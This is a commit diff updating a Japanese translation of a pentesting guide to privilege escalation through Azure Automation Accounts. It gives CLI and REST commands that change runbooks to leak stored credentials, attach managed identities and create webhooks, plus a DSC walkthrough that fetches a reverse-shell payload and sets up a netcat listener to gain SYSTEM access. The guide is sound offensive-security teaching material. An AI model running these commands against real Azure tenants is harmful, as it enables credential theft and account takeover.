Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 20:59:15 +00:00
parent 5e907f5f46
commit 126576ade4

View File

@@ -4,37 +4,37 @@
## Azure Automation Accounts
詳細については、次を確認してください:
詳細は次を参照してください:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### ハイブリッドワーカーグループ
### Hybrid Workers Group
- **Automation Account から VM へ**
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これはオンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
攻撃者が何らかの方法で hybrid worker 上で arbitrary runbook (arbitrary code) を実行できる場合、彼は **pivot to the location of the VM** できます。これはオンプレミスのマシン、別のクラウドの VPC、あるいは Azure VM であります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
さらに、hybrid worker が Azureで他の Managed Identities をアタッチした状態で動作している場合、runbook は **managed identity of the runbook and all the managed identities of the VM from the metadata service** にアクセスできるようになります。
> [!TIP]
> **メタデータサービス**は、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**
> メタデータサービス**metadata service**は、automation account の Managed Identities トークンを取得するサービス(**`IDENTITY_ENDPOINT`**とは異なる URL**`http://169.254.169.254`**)を持っていることを覚えておいてください
- **VM から Automation Account へ**
さらに、誰かがAutomation Accountスクリプトが実行されているVM侵害した場合、彼は**Automation Account**のメタデータを特定し、VMからアクセスして**Automation Accountに関連付けられたManaged Identities**のトークンを取得できるようになります。
さらに、Automation Accountスクリプトが実行されている VM を誰かが侵害した場合、彼は **Automation Account** のメタデータを特定し、VM からアクセスして Automation Account に紐づく **Managed Identities** のトークンを取得できます。
の画像に示すように、VM上で管理者アクセスを持っている場合、**プロセスの環境変数**の中にAutomation AccountメタデータサービスアクセスするためのURLとシークレットを見つけることができます:
以下の画像に示すように、VM 上で Administrator 権限があれば、プロセスの **プロセスの環境変数** に automation account メタデータサービスアクセスするための URL と secret を見つけることができます:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
要約すると、これらの権限は**Automation Account内でRunbooksを作成、変更、実行する**ことを可能にし、これを使用して**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**に特権を昇格させ、Automation Accountに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
要約すると、これらの権限は Automation Account 内で **create, modify and run Runbooks** を許可し、Automation Account のコンテキストで **execute code** を行い、割り当てられた **Managed Identities** への権限昇格や Automation Account に保存された **credentials****encrypted variables** の leak に利用できます。
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**、Automation Account内のRunbookのコードを変更することを可能にします:
権限 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** により、Automation Account 内の Runbook のコードを次の方法で修正できます:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
前のスクリプトが、Automation Accountに保存されている資格情報の**ユーザー名とパスワード**および**暗号化された変数**の値を**漏洩**させるためにどのように使用できるかに注意してください。
前のスクリプトが、Automation Account に保存され資格情報の**leak ユーザー名とパスワード**および**暗号化された変数**の値を取得するのにどのように使るかに注意してください。
権限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**は、ユーザーがAutomation Account内でRunbookを公開できるようにし、変更適用されることを可します
権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** は、ユーザーが Automation Account 内で Runbook を公開し、変更適用ることを可能にします:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** 、ユーザーが次の方法でAutomation Account内でRunbookを実行することを許可します
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** により、ユーザーAutomation Account 内の Runbook を次の方法で実行できます:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 、ユーザーが次の方法でAutomation Accountのジョブの出力を読み取ることを許可します
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーAutomation Account のジョブの出力を次の方法で読み取ることができます:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbookが作成されていない場合、または新しいRunbookを作成したい場合、次の権限が必要です。**`Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`** を使用して行います。
Runbooks が作成されていない、または新しい Runbook を作成したい場合、次を使用してそれを行うには **権限 `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** が必要です:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
この権限、ユーザー次の方法でAutomation Account**ユーザー管理のID**を割り当てることを許可します:
この権限により、ユーザー次の方法で Automation Account**ユーザー割り当てマネージド ID を割り当てる** ことができます:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、次のコマンドを使って Automation Account に新しい Schedule を作成し、15分ごとに実行させることができます(あまりステルスではありません)。
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先です
Schedule の最小間隔は 15 分で、開始時間は少なくとも 5 分後でなければならない点に注意してください
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラーを割り当てることができます
その後、権限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** があれば、次の方法で runbook に Scheduler を割り当てることができます:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> 前の例では、jobchedule idが**`b510808a-8fdc-4509-a115-12cfc3a2ad0d`の例**として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。
> 前の例ではジョブスケジュール ID が **`b510808a-8fdc-4509-a115-12cfc3a2ad0d`(例)** として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。
### `Microsoft.Automation/automationAccounts/webhooks/write`
権限**`Microsoft.Automation/automationAccounts/webhooks/write`**を使用すると、次のコマンドを使用してAutomation Account内のRunbookの新しいWebhookを作成することができます。
権限 **`Microsoft.Automation/automationAccounts/webhooks/write`** を持っていると、次のいずれかのコマンドを使用して Automation Account 内の Runbook の新しい Webhook を作成できます。
With Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
このコマンドは、作成時にのみ表示されるウェブフックURIを返す必要があります。次に、ウェブフックURIを使用してランブックを呼び出します。
AzureCLI と REST を使用して:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、webhook URI を使用して runbook を呼び出すには
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
`Microsoft.Automation/automationAccounts/runbooks/draft/write`権限だけで、**Runbookのコードを更新**し、公開せずに次のコマンドを使用して実行することが可能です。
権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write`で、**Runbook のコードを更新**し、それを公開することなく以下のコマンドで実行できます。
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
この権限、ユーザー次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可しますこれはGithubを例にしています
この権限により、ユーザー次のようなコマンドを使用して Automation Account**source control を構成する** ことができます(例として Github を使用):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です
これにより、Github リポジトリから runbooks が Automation Account に自動的にインポートされ、さらにそれらを実行するための適切な権限があれば、**possible to escalate privileges**
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要あり、ユーザーマネージドアイデンティティの場合はMIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります
さらに、Automation Accounts の source control を機能させるには、role が **`Contributor`** の managed identity を持っている必要あり、user managed identity の場合は MI の client id を変数 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があることを忘れないでください
> [!TIP]
> 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。
> 作成後に source control の repo URL を変更することはできないに注意してください。
### `Microsoft.Automation/automationAccounts/variables/write`
権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
権限 **`Microsoft.Automation/automationAccounts/variables/write`** があれば、以下のコマンドを使って Automation Account に変数を書き込むことができます。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -215,51 +233,51 @@ az rest --method PUT \
```
### カスタムランタイム環境
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージロードされるたびに、悪意のあるコードが実行されます。
もし automation account がカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**a backdoor** のような)で上書きすることが可能になる場合があります。こうすると、そのカスタムランタイムを使用カスタムパッケージロードする runbook が実行されるたびに、悪意のあるコードが実行されます。
### 状態構成の妥協
### State Configuration の侵害
**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- ステップ 1 — ファイルの作成
- Step 1 — Create Files
**必要なファイル:** 2つのPowerShellスクリプトが必要です:
1. `reverse_shell_config.ps1`: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これは[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)から入手可能です。
2. `push_reverse_shell_config.ps1`: 構成をVMに公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。
**Files Required:** Two PowerShell scripts are needed:
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) ファイルで、ペイロードを取得して実行します。入手先は [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) です。
2. `push_reverse_shell_config.ps1`: 設定を VM に公開するスクリプトで、入手先は [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) です。
**カスタマイズ:** これらのファイル内の変数パラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。
**Customization:** これらのファイル内の変数パラメータは、リソース名、ファイルパス、サーバーペイロード識別子など、利用者の環境に合わせて調整する必要があります。
- ステップ 2 — 構成ファイルを圧縮
- Step 2 — Zip Configuration File
`reverse_shell_config.ps1``.zip`ファイルに圧縮され、Azureストレージアカウントへの転送の準備が整います。
`reverse_shell_config.ps1``.zip` ファイルに圧縮、Azure Storage Account に転送できる状態にします。
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- ステップ 3 — ストレージコンテキストの設定とアップロード
- Step 3 — Set Storage Context & Upload
圧縮された構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。
圧縮された構成ファイルは、あらかじめ定義された Azure Storage コンテナ、azure-pentest に、Azure の Set-AzStorageBlobContent cmdlet を使用してアップロードされます。
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- ステップ 4 — Kali ボックスの準備
- ステップ 4 — Kali Box の準備
Kali サーバーは GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
スクリプトは、ターゲットWindows VMとリバースシェルのポートを指定するように編集されます。
スクリプトは、reverse shell用のターゲットWindows VMとポートを指定するように編集されます。
- ステップ 5 — 構成ファイル公開
- ステップ5 — 設定ファイル公開
構成ファイルが実行され、リバースシェルスクリプトが指定された場所Windows VMにデプロイされます。
設定ファイルが実行され、reverse-shellスクリプトが指定された場所Windows VMに展開されます。
- ステップ 6 — ペイロードのホストとリスナーの設定
- ステップ6 — Payloadをホストし、Listenerをセットアップ
ペイロードをホストするためにPythonSimpleHTTPServerが起動され、信接続をキャプチャするためNetcatリスナーが設定されます。
PayloadをホストするためにPython SimpleHTTPServerが起動され、信接続をキャプチャするためNetcat listenerが実行されます。
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
スケジュールされたタスクがペイロードを実行し、SYSTEMレベルの特権を達成します。
スケジュールされたタスクがpayloadを実行し、SYSTEMレベルの権限を取得します。
{{#include ../../../banners/hacktricks-training.md}}